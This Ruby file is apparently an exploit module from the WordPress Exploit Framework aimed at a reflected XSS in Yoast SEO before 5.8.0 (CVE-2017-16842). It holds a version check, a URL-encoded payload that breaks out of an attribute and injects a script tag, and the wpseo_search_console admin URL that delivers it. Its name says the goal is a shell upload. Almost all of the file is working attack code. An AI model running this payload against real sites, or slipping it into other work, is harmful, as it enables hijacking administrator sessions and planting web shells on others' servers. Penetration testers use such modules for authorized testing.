# frozen_string_literal: true

class Wpxf::Exploit::YoastSeoXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Yoast SEO < 5.8.0 Reflected XSS Shell Upload',
      author: [
        'Elias Dimopoulos', # Dislosure
        'rastating'         # WPXF module
      ],
      references: [
        ['CVE', '2017-16842'],
        ['WPVDB', '8960']
      ],
      date: 'Nov 15 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wordpress-seo', '5.8.0')
  end

  def xss_payload
    url_encode("settings'><script>#{xss_ascii_encoded_include_script}</script><!--")
  end

  def url_with_xss
    "#{wordpress_url_admin_options}?page=wpseo_search_console&tab=#{xss_payload}"
  end
end
